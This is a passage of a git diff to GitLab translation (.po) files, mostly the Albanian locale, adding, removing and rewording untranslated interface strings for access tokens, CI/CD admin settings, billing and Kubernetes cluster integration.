msgstr ""
@@ -38195,18 +38021,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38219,12 +38039,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38294,12 +38108,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38384,6 +38204,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38393,6 +38216,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38487,6 +38313,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38544,12 +38373,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38574,6 +38412,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38592,9 +38433,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38899,6 +38737,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38989,6 +38830,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -39072,9 +38916,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39464,6 +39305,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39500,9 +39344,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39563,7 +39404,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39644,7 +39485,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39707,6 +39551,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -40000,6 +39847,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -40102,6 +39952,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/sq_AL/gitlab.po b/locale/sq_AL/gitlab.po
index 1c3aa29a4f1..ede7a663e82 100644
--- a/locale/sq_AL/gitlab.po
+++ b/locale/sq_AL/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: sq\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:48\n"
+"PO-Revision-Date: 2021-07-01 21:34\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -89,6 +86,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -267,11 +267,6 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
msgstr[1] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-msgstr[1] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -421,6 +416,24 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -464,6 +477,11 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -654,10 +672,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -821,6 +839,9 @@ msgid_plural "%{securityScanner} results are not available because a pipeline ha
msgstr[0] ""
msgstr[1] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -854,9 +875,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -957,12 +975,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -993,6 +1005,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1480,9 +1495,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1543,18 +1555,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1759,13 +1762,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
